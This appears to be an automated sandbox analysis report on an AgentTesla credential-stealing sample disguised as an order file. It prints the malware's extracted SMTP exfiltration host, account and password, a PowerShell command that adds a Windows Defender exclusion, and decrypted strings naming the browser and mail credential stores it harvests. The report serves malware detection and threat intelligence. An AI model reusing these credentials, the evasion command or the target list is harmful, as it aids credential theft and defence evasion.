Edit tour

Windows Analysis Report
ORDER#023_2024.exe

Overview

General Information

Sample name:	ORDER#023_2024.exe
Analysis ID:	1568740
MD5:	cb93d77357df18ffb788e73e7f9e8ba1
SHA1:	0fa0e09a4905239dca028b58a0e6523e8c91498c
SHA256:	3591cadebdbbaee9e75158d085435cf81ba8cdfc5c92b050275f9b490ee60998
Tags:	AgentTeslaexeuser-threatcat_ch
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Outbound SMTP Connections

Uses 32bit PE files

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

ORDER#023_2024.exe (PID: 6936 cmdline: "C:\Users\user\Desktop\ORDER#023_2024.exe" MD5: CB93D77357DF18FFB788E73E7F9E8BA1)

powershell.exe (PID: 3180 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\ORDER#023_2024.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 6016 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

ORDER#023_2024.exe (PID: 6036 cmdline: "C:\Users\user\Desktop\ORDER#023_2024.exe" MD5: CB93D77357DF18FFB788E73E7F9E8BA1)

ORDER#023_2024.exe (PID: 4268 cmdline: "C:\Users\user\Desktop\ORDER#023_2024.exe" MD5: CB93D77357DF18FFB788E73E7F9E8BA1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Host": "mail.mbarieservicesltd.com", "Username": "saless@mbarieservicesltd.com", "Password": "     *o9H+18Q4%;M     "}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2905038066.000000000305A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.2903371766.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000005.00000002.2905038066.0000000003001000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2905038066.0000000003001000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1681703639.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
Process Memory Space: ORDER#023_2024.exe PID: 6936	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: ORDER#023_2024.exe PID: 4268	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ORDER#023_2024.exe PID: 4268	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
decrypted.memstr	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
5.2.ORDER#023_2024.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.ORDER#023_2024.exe.3c384f0.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.ORDER#023_2024.exe.3c61510.1.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.ORDER#023_2024.exe.3c61510.1.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.ORDER#023_2024.exe.3c384f0.0.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\ORDER#023_2024.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\ORDER#023_2024.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\ORDER#023_2024.exe", ParentImage: C:\Users\user\Desktop\ORDER#023_2024.exe, ParentProcessId: 6936, ParentProcessName: ORDER#023_2024.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\ORDER#023_2024.exe", ProcessId: 3180, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 199.79.62.115, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\ORDER#023_2024.exe, Initiated: true, ProcessId: 4268, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49734

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\ORDER#023_2024.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\ORDER#023_2024.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\ORDER#023_2024.exe", ParentImage: C:\Users\user\Desktop\ORDER#023_2024.exe, ParentProcessId: 6936, ParentProcessName: ORDER#023_2024.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\ORDER#023_2024.exe", ProcessId: 3180, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE AgentTesla Exfil Via SMTP

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-04T22:03:40.849487+0100	2030171	1	A Network Trojan was detected	192.168.2.4	49734	199.79.62.115	587	TCP

ETPRO MALWARE Agent Tesla CnC Exfil Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-04T22:02:06.918218+0100	2855542	1	A Network Trojan was detected	192.168.2.4	49734	199.79.62.115	587	TCP

ETPRO MALWARE Agent Tesla Exfil via SMTP

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-04T22:02:06.918218+0100	2855245	1	A Network Trojan was detected	192.168.2.4	49734	199.79.62.115	587	TCP

ETPRO MALWARE Win32/Agent Tesla SMTP Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-04T22:03:40.849487+0100	2839723	1	Malware Command and Control Activity Detected	192.168.2.4	49734	199.79.62.115	587	TCP

ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-04T22:03:40.849487+0100	2840032	1	A Network Trojan was detected	192.168.2.4	49734	199.79.62.115	587	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 5.2.ORDER#023_2024.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Host": "mail.mbarieservicesltd.com", "Username": "saless@mbarieservicesltd.com", "Password": " *o9H+18Q4%;M "}

Multi AV Scanner detection for submitted file

Source: ORDER#023_2024.exe

ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: ORDER#023_2024.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: /log.tmp
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <br>[
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: yyyy-MM-dd HH:mm:ss
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ]<br>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <br>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Time:
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: MM/dd/yyyy HH:mm:ss
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <br>User Name:
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <br>Computer Name:
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <br>OSFullName:
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <br>CPU:
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <br>RAM:
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <br>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: IP Address:
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <br>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <hr>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: New
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: MM/dd/yyyy HH:mm:ss
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: IP Address:
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: false
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: false
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: false
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: false
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: false
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: false
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: false
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: false
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: false
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: mail.mbarieservicesltd.com
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: saless@mbarieservicesltd.com
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: *o9H+18Q4%;M
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: iinfo@mbarieservicesltd.com
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: false
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: false
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: appdata
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: KTvkzEc
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: KTvkzEc.exe
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: KTvkzEc
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Type
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <br>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <hr>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <br>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <b>[
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ]</b> (
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: )<br>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {BACK}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {ALT+TAB}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {ALT+F4}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {TAB}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {ESC}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {Win}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {CAPSLOCK}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {KEYUP}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {KEYDOWN}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {KEYLEFT}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {KEYRIGHT}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {DEL}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {END}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {HOME}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {Insert}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {NumLock}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {PageDown}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {PageUp}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {ENTER}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {F1}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {F2}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {F3}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {F4}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {F5}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {F6}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {F7}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {F8}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {F9}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {F10}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {F11}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {F12}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: control
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {CTRL}
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: &
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: >
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: "
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <br><hr>Copied Text: <br>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <hr>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: logins
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: IE/Edge
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: 2F1A6504-0641-44CF-8BB5-3612D865F2E5
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Windows Secure Note
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: 3CCD5499-87A8-4B10-A215-608888DD3B55
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Windows Web Password Credential
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: 154E23D0-C644-4E6F-8CE6-5069272F999F
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Windows Credential Picker Protector
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Web Credentials
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: 77BC582B-F0A6-4E15-4E80-61736B6F3B29
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Windows Credentials
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Windows Domain Certificate Credential
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: 3E0E35BE-1B77-43E7-B873-AED901B6275B
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Windows Domain Password Credential
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Windows Extended Credential
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: 00000000-0000-0000-0000-000000000000
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SchemaId
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: pResourceElement
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: pIdentityElement
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: pPackageSid
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: pAuthenticatorElement
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: IE/Edge
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: UC Browser
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: UCBrowser\
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Login Data
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: journal
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: wow_logins
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Safari for Windows
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Common Files\Apple\Apple Application Support\plutil.exe
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Apple Computer\Preferences\keychain.plist
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <array>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <dict>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <string>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: </string>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <string>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: </string>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <data>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: </data>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: -convert xml1 -s -o "
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \fixed_keychain.xml"
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Microsoft\Credentials\
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Microsoft\Credentials\
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Microsoft\Credentials\
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Microsoft\Credentials\
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Microsoft\Protect\
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: credential
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: QQ Browser
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Tencent\QQBrowser\User Data
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Default\EncryptedStorage
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Profile
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \EncryptedStorage
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: entries
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: category
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Password
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: str3
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: str2
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: blob0
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: password_value
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: IncrediMail
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: PopPassword
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SmtpPassword
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Software\IncrediMail\Identities\
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Accounts_New
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: PopPassword
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SmtpPassword
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SmtpServer
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: EmailAddress
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Eudora
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Software\Qualcomm\Eudora\CommandLine\
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: current
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Settings
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SavePasswordText
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Settings
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ReturnAddress
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Falkon Browser
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \falkon\profiles\
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: profiles.ini
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: startProfile=([A-z0-9\/\.\"]+)
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: profiles.ini
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \browsedata.db
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: autofill
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ClawsMail
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Claws-mail
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \clawsrc
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \clawsrc
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: passkey0
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: master_passphrase_salt=(.+)
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: master_passphrase_pbkdf2_rounds=(.+)
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \accountrc
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: smtp_server
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: address
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: account
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \passwordstorerc
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: {(.),(.)}(.*)
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Flock Browser
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: APPDATA
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Flock\Browser\
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: signons3.txt
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: DynDns
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ALLUSERSPROFILE
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Dyn\Updater\config.dyndns
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: username=
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: password=
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: https://account.dyn.com/
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: t6KzXhCh
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ALLUSERSPROFILE
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Dyn\Updater\daemon.cfg
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: global
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: accounts
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: account.
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: username
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: account.
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: password
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Psi/Psi+
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: name
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: password
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Psi/Psi+
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: APPDATA
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Psi\profiles
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: APPDATA
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Psi+\profiles
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \accounts.xml
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \accounts.xml
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: OpenVPN
